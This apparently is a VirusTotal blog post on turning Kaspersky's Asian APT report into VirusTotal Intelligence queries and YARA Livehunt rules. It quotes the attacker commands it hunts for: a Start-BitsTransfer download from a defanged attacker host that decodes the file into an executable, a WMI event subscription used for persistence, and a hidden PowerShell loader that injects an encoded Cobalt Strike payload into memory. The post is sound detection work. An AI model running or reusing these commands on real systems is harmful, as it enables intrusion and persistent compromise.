Kaspersky's CTI analysts recently released their Asian APT groups report, including details on behavior by different adversaries. Following our series on making third-party intelligence actionable using VirusTotal Intelligence, we have put on our threat hunter’s hat to find samples and monitor activity based on the report’s details.
Many of the behaviors shared by Kaspersky are based on the use of LOLBAS by attackers once the set foothold on the victim. This is an increasing trend by adversaries, which makes it critical for security analysts to understand these binaries’ capabilities.
Let’s start by analyzing the most interesting bits we found in the report.
Start-BitsTransfer
Start-BitsTransfer is a cmdlet that supports the download of multiple files, which seems to be an alternative for adversaries to the most commonly used bitsadmin.exe binary. The report describes its use in different cases, here we can find one example:
PowerShell "Start-BitsTransfer -Source hxxp://security.lomiasecure[.]net/crx/node.txt -Destination C:\\Users\\public\\node.txt -transfertype download" PowerShell if($InputString = Get-Content 'C:\\users\\public\\node.txt'){ [System.IO.File]::WriteAllBytes('C:\\users\\public\\node.exe', [System.Convert]::FromBase64String($InputString))}
The example uses FromBase64String and WriteAllBytes, so our query will look for either of them using an OR condition, as well as for the presence of the "Start-BitsTransfer" cmdlet in sandbox’s behavior. The following VT intelligence query obtains samples with similar (not identical) behaviors.
behavior_processes:"Start-BitsTransfer -Source" (behavior_processes:"[System.Convert]::FromBase64String" or behavior_processes:"[System.IO.File]::WriteAllBytes")
The query returns 12 suspicious samples. Activity seems to be clustered around October and November 2023. Some of the results are related, according to OSINT, to APT33 and The Gorgon Group:
WMI Event Subscription
This technique is used by threat actors during lateral movement mainly for execution and persistence. To achieve this the WMI event subscription points to the payload to execute.
instance of __EventFilter { EventNamespace = "root\\cimv2"; Name = "Chrome Update"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=240 AND TargetInstance.SystemUpTime < 325"; QueryLanguage = "WQL"; };
instance of CommandLineEventConsumer { ExecutablePath = "C:\\Windows\\System32\\GoogleUpdate.exe"; Name = "GoogleUpdater"; };
There are different ways to search in VirusTotal for samples with this behavior. In this case, we identified the use of "ExecutablePath" instead of "CommandLineTemplate" to specify the path to the payload, which is the more common method. When “CommandLineTemplate” is null, the value of “ExecutablePath” is used instead. Then the process is executed by calling the “CreateProcess” API. The following VTI query is based on this finding:
(behavior:"EventNamespace =") (behavior:"Name =") behavior:"QueryLanguage = \"WQL\"" (behavior:"__EventFilter" behavior:"CommandLineEventConsumer") behavior:"ExecutablePath ="
This query returns 41 results, including Konni malware samples and samples attributed to APT37. As a confirmation to our previous assumption, using “CommandLineTemplate =” instead of “ExecutablePath =” returns 1.1k samples.
Please note the use of "behavior" instead of "behavior_processes" in the previous VTI query. The reason is WMI statements are commonly stored in the "Dataset actions", "Highlighted Text" and "Calls Highlighted" sections under the sample’s behavior. This is because WMI events do not launch new processes, as they are processed by a ETW provider, resulting in these events being mapped under “behavior” by the sandbox. Here you can find an example.
Another interesting way to hunt and monitor samples using this technique is through the following crowdsourced sigma rule, which checks for WMI event subscriptions.
sigma_rule:07b95c7eb376ac65a345dc6a2c1cb03732e085818d93bd1ea2e7d3706619d78e
PowerShell capabilities
Not surprisingly, PowerShell is one of the most used scripting languages by attackers. In particular, the following code injects Cobalt Strike in binary form into memory.
ะก:\Windows\system32\cmd.exe /b /c start /b /min PowerShell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+ '\sysnative\WindowsPowerShell\v1.0\PowerShell.exe'}else{$b='PowerShell.exe'};$s=NewObject System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System. Convert]::FromBase64String(''H4sIAIKCBWACA7VWa2+ bSBT9nEj5D6iyZFAcP5I0bSJVWsY2McR2jYlxbK+1IjDA1MMjMDgm3f73vYMhTbdp.... '))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))'; $s.UseShellExecute=$false;$s.RedirectStandardOutput=$true; $s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
From the previous PowerShell, it is possible to create a query to detect patterns using the same memory injection technique. The resulting samples seem to mostly use it to inject Metasploit.
behavior_processes:"{$b='PowerShell.exe'}" behavior_processes:"-nop -w hidden -noni -c" behavior_processes:"{$b=$env:windir+"
From the previous query, half of the results correspond to metasploit samples, mainly “.bat” scripts that aim to execute “cmd.exe” to launch PowerShell, and finally, load in memory the payload in binary form.
41 out of 44 results are identified by the same sigma rule “Powershell Decrypt And Execute Base64 Data”, created by Joe Security. We can search additional identified samples by this crowdsourced rule with the VTI following query.
sigma_rule:d77da6b7c1a6f6530b4eb82ca84407ff02947b235ab29c94eade944c4f51e499
Automate your queries ๐
The previous are simple examples on how a CTI team could consume tactical intelligence for hunting. Once assessed the efficacy of the VTI queries, it's time to convert them into VT Livehunt rules to automatically monitor any suspicious future activity. VTI queries can be easily translated into YARA rules, used by Livehunt, thanks to the “vt” module. Let’s see how.
Start-BitsTransfer
The Livehunt YARA rule resulting from our previous VTI query will automatically monitor and notify us with any new samples using the Start-BitsTransfer cmdlet technique previously discussed. This is usually used either through a script or directly on the command line interpreter.
In our YARA, we use different fields like “terminated processes”, “executed commands” or “created processes” to look for the use of “Star-BitsTransfer”. Then we search in processes created, terminated and command executions for traces of the “FromBase64” and “System.IO.File” strings, also needed for this technique. Finally, we added the “new file” modifier at the beginning to receive notifications only for fresh new uploads.
๐ Check out the rule on our GitHub
WMI Event Subscription
For this rule, we split the condition into two blocks. The first one searches for the patterns we used in our VTI query in “processes created”, “terminated” and “commands executed” during detonation. The second block searches for the same strings in a different set of fields, in this case “highlighted calls”, “highlighted text”, and “system property lookups” given WMI execution is also (although, more rarely) stored in these fields, as previously discussed.
๐ Check out the rule on our GitHub
PowerShell capabilities
This rule, as the previous ones, searches for patterns in “processes created”, “terminated” and “commands executed”. In addition to that, it also searches telemetry generated by sigma rule matches, which is a powerful feature often overlooked. In this case, it will search for Windows XML EventLog EVTX events generated by our sandboxes containing the same pattern we searched for in “behavior”.
๐ Check out the rule on our GitHub
Wrapping up
VT Intelligence queries based on third-party intelligence publications is one of the most usual tasks for CTI teams, allowing a better understanding and calibration of the malicious campaign, threat hunting and monitoring. Queries based on TTPs could be easily generated thanks to all the details resulting from VirusTotal’s sandbox detonation. Once the query is polished and we are happy with the results, it can quickly be converted into a YARA livehunt rule to automate the identification of new samples and monitor the evolution of the given campaign.
The process illustrated in this blog can be used by any CTI, Threat Hunting, and even Detection Engineering teams, leveraging external low-level tactical information for hunting, better understanding of the campaigns and malware leveraged, threat actor identification, estimate amount of samples, detection and timeline, monitor any campaign’s evolution, extract IOCs for proactive protection and develop rules for internal detection.
As usual, we are happy to hear from you!
Happy hunting!